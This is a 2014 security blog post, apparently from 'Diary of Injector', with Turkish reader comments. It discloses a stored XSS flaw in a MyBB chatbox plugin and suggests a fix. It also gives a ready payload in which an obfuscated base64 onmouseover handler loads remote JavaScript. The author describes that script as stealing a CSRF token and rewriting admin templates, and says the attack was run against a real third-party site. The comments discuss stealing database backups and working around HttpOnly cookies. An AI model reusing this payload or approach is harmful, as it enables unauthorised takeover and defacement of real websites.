MyBB ChangUonDyu Chatbox XSS

10 Kasım 2014 Pazartesi

Versions Affected: I.D.K.(never tested but works on the latest one) 



Vulnerable file:
"chatbox/message.php"
on lines
54: $shout['color'] = strip_tags($shout['color']);
55: $shout['font'] = strip_tags($shout['font']);

U shall use htmlspecialchars($shout['color'],ENT_QUOTES); or similar instead of strip_tags(). Strip_tags just blocks html tags, doesnt do anything for quotation marks. That is why it was named "strip_tags" ;)

Tested on madleets.com;
Sorry guys dont take it personal ;)

Example attack:
Send a message on chatbox with editing 
selected font value like this(you can use inspect element options on browsers):
' size=99 onmouseover=document.write(atob('PHNjcmlwdCBzcmM9aHR0cDovL3Njb3JwLmVzeS5lcy9hPjwvc2NyaXB0Pg==')); a='asd 

The javascript I coded(called in document.write in base64 format) also does CSRF

when onmouseover triggered. 
It first gets csrf token, then changes user theme to find out what is the admin panel path. 
Then sends some index codes to template editor in admin panel automatically.


Discovered by TurkSec


BTW, madleets before onmouseover:


madleets after onmouseover:


Share this article :

13 yorum:

  1. Sonradan mesajları sildiler galiba :d tebrik ederim chatboxda güzel işler yapılabilir :))

    YanıtlaSil
  2. Base64 te geçen url de yazdığım javascript koduyla admin giriş yaptıysa arka planda mybb panel üzerinden veritabanı yedeği bile çekilebilir. Evet güzel işler yapılabilir. Zaten xss de bunu gerektirirdi. Kullanabilene ;)

    YanıtlaSil
    Yanıtlar
    1. " mybb panel üzerinden veritabanı yedeği bile çekilebilir. " biz anca location çakarız scriptte sonra seviniriz :D seviyem yetse yarışmalara katılıp finale kalıp sizle tanışmayı isterdim :D

      Sil
    2. üniversite bittiğinden artık beni de almıyolar kardeş ama inşallah bi gün hem tanışırız hem yarışırız :)

      Sil
    3. İnşallah :D

      Sil
  3. sitede jquery kütüphanesi halihazırda çağırılmış senin js nin için bir $('body').html() attıraymışsın keşkem

    YanıtlaSil
  4. hocam bu dom based xss herhalde hedef sayfanın içeriği değişiyor ve bide javascript iyi bilmek gerekiyor.bu kadar tehlikeli javascript kodu nasıl yazabiliriz hocam bide bunu merak ettim.

    YanıtlaSil
    Yanıtlar
    1. aslında dom based değil stored xss ama kullanıcı etkileşimiyle javascript aktif hale geliyor(user interacted). kullanıcı etkileşimine gerek olmayan direk sayfa yüklenince çalışan eventlar da mevcut ama burada biz sadece fonttaki attribute'lere müdahale edebildiğimiz için burada o eventlar çalışmaz. xss te javascript önemlidir, özellikle xmlhttprequest veya benzeri nesnelerle sunucu istekleri çağırabilmek önemlidir. bunları yapabildiğinizde çünkü cookie httponly olsa bile arka planda o oturum ile cookie yi çekemesek de her şeyi yapmak mümkündür. ama bence javascript kasmak yerine java öğrenseniz daha iyi çünkü benim javada yazılım geliştirmeye başladıktan sonra javascript öğrenmek için bi çaba harcamam gerekmedi. hemen hemen her şey aynı. hem javayla daha çok platformda yazılım da yazabilirsiniz.

      Sil
    2. evet dom based base64 ile encode edilmiş kodu decode edersen linkde onların yazdıkları java script kodu görebilirsin 1 sayfa bilgin varsa anlayıp yorumlayabilirsin :)

      Sil
    3. bu açık dom based değil stored xss. xss belki javascript kodlarıyla tetiklenmekte ama sayfada kalıcıdır, tarayıcı tarafından üretilmiş bi kod değildir. dom xss ise javascript(tarayıcı dom kütüphanesi) tarafından oluşturulur, yani sayfaya get isteği gönderdiğinizde xss kodunu göremezsiniz ama tarayıcıdan girerseniz tarayıcıda görürsünüz(çünkü xss kodu javascript çıktısı olarak anlık üretilmiştir). linkteki kodu sayfaya o kadar kod yazmak zor olacağı için uzak sunucuya atıp çağırdım. kodlar eğer ziyaretçi adminse, özetle ana sayfayı temalardan değiştiriyo ama arka planı karışık buraya sığmaz. yanlışmı anladım bilmiyorum ama js kodunu yazan da biziz.

      Sil
    4. gayet güzel anlattın saolasın :D ben şeyi merak ediyorum en çok bulunan reflected XSS fakat bununla en fazla cookie çalınabiliyor diye biliyorum daha fazla ne yapılabilir ? http only işaretliyse biz ne yapıcaz :D reflected xss ile :D

      Sil
    5. http://www.diaryofinjector.com/2014/08/xss-acklar-ve-kullanma-yontemleri.html şurda resimden itibarenki kısım httponly olduğu durumlarda yapılabilecekleri kapsıyor. onu oku kardeş biraz yüzeysel gelebilir. konu uzamasın diye çok detaya girmedim yine de kafana takılanı sorabilirsin

      Sil
  5. o may gad çok iyi abi elinize saglik.

    YanıtlaSil

 
Support : Copyright © 2014. Diary of Injector - All Rights Reserved